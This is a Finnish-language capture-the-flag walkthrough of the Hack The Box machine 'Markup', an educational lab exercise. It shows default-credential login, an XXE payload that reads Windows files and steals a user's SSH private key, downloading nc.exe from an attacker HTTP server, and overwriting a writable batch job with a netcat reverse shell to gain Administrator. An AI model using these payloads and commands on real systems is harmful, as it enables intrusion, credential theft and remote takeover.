Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite vastaamaan osoitetta markup.htb
User flag
Kohteen Nmap-skannauksesta huomataan, että kohteessa on avoinna portit 22 (SSH), 80 (HTTP) ja 443 (HTTPS). Nmap-syötteestä havaitaan, että kohde on Windows-kone.
Aukaistu selaimella kohteen osoite. Aukesi kirjautumissivu. Onnistuneesti päästy kirjautumaan sisään käyttäjänä admin ja salasanalla password
Aukesi sivu markup.htb/home.php. Yläpalkissa on klikattavia linkkejä, jotka johtavat alasivuille.
Aukaistu Order-sivu, jossa on kaksi kenttää, joihin voi syöttää tekstiä.
Order-sivulla kirjoitettu Quantity-kenttään: 2 ja Address-kenttään: Test address. Submit painamisen jälkeen siepattu POST-requesti Burb Suitessa. Requestissa huomataan, että kohteessa on käytössä XML versio 1.0.
XML on haavoittuvainen XXE / XEE -hyökkäykselle. Lähde: https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity
Burb Suitessa requesti lähetetty Repeater-välilehdelle. Kokeiltu lukea kohteen tiedostoa c:/windows/win.ini liittämällä requestiin xml-version rivin alle: <!DOCTYPE foo [<!ENTITY test SYSTEM “file:///c:/windows/win.ini”>]>
Entityyn test viitattu <item> alla: &test;
Vastauksesta (response) huomattu, että onnistuneesti saatu luettua win.ini -tiedoston sisältö. Jos kohde olisi Linux-kone, syötettäisiin tiedostopoluksi: /etc/passwd
Tarkasteltu sivun markup.htb/services.php lähdekoodia, ja koodista huomataan teksti: Modified by Daniel
Koska kohteessa on portti 22 (SSH) avoinna, tarkistetaan Burb Suitessa löytyykö käyttäjältä daniel yksityinen RSA-avain hakemistosta: C:\users\daniel\.ssh\id_rsa
Käyttäjän daniel RSA-avain näkyy Burb Suitessa vastauksena.
Avain kopioitu omalle koneelle id_rsa nimiseen tiedostoon.
Lisätty tiedostoon id_rsa lukuoikeudet komennolla chmod 400 id_rsa
Otettu SSH-yhteys kohteeseen käyttäen käyttäjän daniel yksityistä avainta komennolla: ssh -i id_rsa daniel@markup.htb
Onnistuneesti saatu SSH-yhteys kohteeseen käyttäjänä daniel
User flag löytyi hakemistosta C:\Users\daniel\Desktop
Root flag
Hakemistosta C: huomataan normaalista poikkeavat tyhjä tekstitiedosto Recovery.txt ja kansio Log-Management
Log-Management kansiosta löydetty tiedosto job.bat
Huomataan, että tiedosto job.bat voidaan suorittaa vain Administrator-käyttäjänä, ja syötteestä havaitaan, että tiedoston tarkoituksena on tyhjentää lokitiedostot. Syötteessä on mainittu wevtutil.exe -tiedosto, jonka tarkoituksena on kerätä tietoa tapahtumalokeista (lähde).
Komennolla icacls tarkistettu millä ryhmillä on oikeudet tiedostoon job.bat
Huomataan, että ryhmällä BUILTIN\Users on tiedostoon täydet oikeudet (F).
Reverse Shellin muodostamista varten kopioitu nc.exe tiedosto hakemistoon, jossa käynnistetään Python HTTP-palvelin.
Käynnistetty Python HTTP-palvelin hakemistossa, jossa nc.exe -tiedosto sijaitsee komennolla: sudo python3 -m http.server 80
Kohtessa PowerShellin avulla ladattu hyökkäyskoneesta nc.exe -tiedosto komennolla: wget http://your_tun0_ip/nc.exe -outfile nc.exe
Python HTTP-palvelimelta huomataan, että tiedostonsiirto onnistui kohteeseen (10.129.95.192).
Hyökkäyskoneessa käynnistetty Netcat-kuuntelija porttiin 4444 komennolla: sudo nc -lvnp 4444
Kohteessa vaihdettu PowerShellista komentokehotteeseen, ja muokattu tiedoston job.bat sisällöksi: C:\Log-Management\nc.exe -e cmd.exe 10.10.14.42 4444
Komennolla: echo C:\Log-Management\nc.exe -e cmd.exe {your_IP} {port} > C:\Log-Management\job.bat
Huom. komento echo ei toimi PowerShellissa, ja komentoa suorittaessa täytyy olla hakemistossa C:\Log-Management
Onnistuneesti saatu Reverse Shell Administrator-käyttäjänä terminaalissa, jossa Netcat-kuuntelija oli aktiivinen.
Root flag löytyi hakemistosta C:\Users\Administrator\Desktop